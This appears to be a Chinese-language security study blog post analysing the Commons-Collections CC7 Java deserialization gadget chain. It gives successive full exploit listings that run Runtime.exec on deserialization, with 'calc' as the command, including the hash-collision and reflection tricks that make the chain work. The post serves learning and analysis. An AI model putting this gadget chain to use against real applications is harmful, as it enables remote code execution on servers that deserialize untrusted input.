前言
CC7和CC5类似,后半部分也是LazyMap

CC7
链子分析
我们先从链子的前半部分开始
先看入口类Hashtable,readObject方法调用了reconstitutionPut方法

reconstitutionPut方法调用了equals方法,当然也调用了hashCode方法,如果走hashCode的话又回到了CC6

往下调用了LazyMap类的equals方法,但是LazyMap类并没有equals方法,实际上是调用了LazyMap的父类AbstractMapDecorator的equals方法


这里比较了两个key的引用,如果不是同一对象则会再次调用equals方法,map是通过LazyMap传递的,LazyMap链中用decorate方法将HashMap传给了map,所以这里会调用HashMap的equals方法

HashMap没有equals方法,但是继承了AbstractMap抽象类,这个类有equals方法



AbstractMap类的equals方法调用了get方法,这样整条链子就接上了
构造Exp
后半段链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.ws.spi.Invoker; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.AbstractMap; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object,Object> hashMap = new HashMap(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
} }
|
结合入口类
Hashtable类的reconstitutionPut方法

这里对传进去的Entry对象数组进行了循环,逐个调用e.key.equals(key),这里的key如果可控,那么AbstractMap.equals中的m也是可控的
我们直接将decorateMap传入key
1 2
| Hashtable hashtable = new Hashtable(); hashtable.put(decoratedMap, "p0l1st");
|
Hashtable.readObject()方法中的key和value实际上就是通过Hashtable.put()方法放进去的键值对

然后进行序列化反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap(); Map decoratedMap = LazyMap.decorate(hashMap, chainedTransformer);
Hashtable hashtable = new Hashtable(); hashtable.put(decoratedMap, "p0l1st");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|
但是却没有弹计算器
在AbstractMap类的equals方法打个断点,发现根本没执行到这里

看看yso的链子

相比之下
- 多了一个map
- 两次put,key分别是yy和zZ
- 最后
remove了yy
为什么要调用两次put?
Hashtable的reconstitutionPut方法是被遍历调用的,第一次调用的时候,并不会走到reconstitutionPut方法的for循环里面,因为tab[index]的内容是空的,在下面会对tab[index]进行赋值

第二次调用reconstitutionPut时,tab才有值,才能进入for循环从而调用equals
为什么两次put的key分别为yy和zZ?
第二次调用reconstitutionPut进入for循环的时候,此时的e是从tab中取出的lazyMap1,然后进入判断,需要满足e.hash == hash才能走到e.key.equals方法中。这里判断要求取出来的lazyMap1对象的hash值要等于现在对象lazyMap2的hash值,这里的hash值是通过lazyMap对象中的key.hashCode得到的,也就是说lazyMap1的hash值就是"yy".hashCode(),lazyMap2的hash值就是"zZ".hashCode(),而在Java中有一个小bug
1
| "yy".hashCode() == "zZ".hashCode()
|
yy和zZ由hashCode计算出来的值是一样的,所以我们需要将map中put的值设置为yy和zZ,这样才能走到e.key.equals中
为什么调用完Hashtable.put后,还需要remove掉yy?
这是因为Hashtable.put实际上也会调用到equals方法
当调用完equals方法后,lazyMap2的key就会增加一个yy键

这就不能满足hash碰撞了,构造序列化链的时候是满足的,但是构造完之后就不满足了,那么经过反序列化也不满足hash碰撞了,也就不会执行命令,所以构造完序列化链之后需要手动删除这多出来的一组键值对
Exp应该是这样的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1); decorateMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|
但是这样会弹出两个计算器,序列化的时候就会弹出一个

还是老样子先设置为常量再反射修改
Exp
最终Exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Hashtable; import java.util.Map;
public class CC7Exp { public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); HashMap<Object, Object> hashMap1 = new HashMap<>(); HashMap<Object, Object> hashMap2 = new HashMap<>(); Map decorateMap1 = LazyMap.decorate(hashMap1, chainedTransformer); decorateMap1.put("yy", 1); Map decorateMap2 = LazyMap.decorate(hashMap2, chainedTransformer); decorateMap2.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(decorateMap1, 1); hashtable.put(decorateMap2, 1);
Class c = ChainedTransformer.class; Field field = c.getDeclaredField("iTransformers"); field.setAccessible(true); field.set(chainedTransformer, transformers); decorateMap2.remove("yy");
serialize(hashtable); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj;
} }
|

参考文章
Java_Commons-Collections 7(CC7) 学习过程
Java反序列化Commons-Collections篇08-CC7链